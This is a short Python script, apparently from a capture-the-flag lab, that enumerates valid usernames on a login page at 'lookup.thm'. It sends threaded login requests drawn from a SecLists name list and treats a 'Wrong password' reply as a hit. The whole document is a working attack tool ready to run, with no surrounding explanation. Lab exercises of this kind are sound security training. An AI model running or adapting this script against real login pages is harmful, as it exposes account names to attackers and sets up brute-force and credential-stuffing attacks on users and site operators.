46 lines
1.4 KiB
Python
46 lines
1.4 KiB
Python
import requests
|
|
import concurrent.futures
|
|
|
|
# Target login URL
|
|
URL = 'http://lookup.thm/login.php'
|
|
|
|
# Username list file
|
|
USERNAMES_FILE = '/usr/share/seclists/Usernames/Names/names.txt'
|
|
|
|
# Number of concurrent threads
|
|
MAX_THREADS = 10
|
|
|
|
def check_username(username):
|
|
"""Test a username by sending a login request."""
|
|
try:
|
|
data = {'username': username, 'password': 'password'}
|
|
response = requests.post(URL, data=data, timeout=5)
|
|
|
|
if 'Wrong password' in response.text:
|
|
print(f"[VALID USERNAME] {username}")
|
|
elif 'Wrong username' in response.text:
|
|
pass # Username does not exist
|
|
else:
|
|
print(f"[UNKNOWN RESPONSE] {username} - Check manually.")
|
|
except requests.RequestException as e:
|
|
print(f"[ERROR] Request failed for {username}: {e}")
|
|
|
|
def main():
|
|
try:
|
|
with open(USERNAMES_FILE, 'r') as file:
|
|
usernames = [line.strip() for line in file if line.strip()]
|
|
|
|
print(f"Starting username testing with {len(usernames)} entries...")
|
|
|
|
with concurrent.futures.ThreadPoolExecutor(max_workers=MAX_THREADS) as executor:
|
|
executor.map(check_username, usernames)
|
|
|
|
except FileNotFoundError:
|
|
print("[ERROR] Username list file not found.")
|
|
except Exception as e:
|
|
print(f"[ERROR] Unexpected issue: {e}")
|
|
|
|
if __name__ == '__main__':
|
|
main()
|
|
|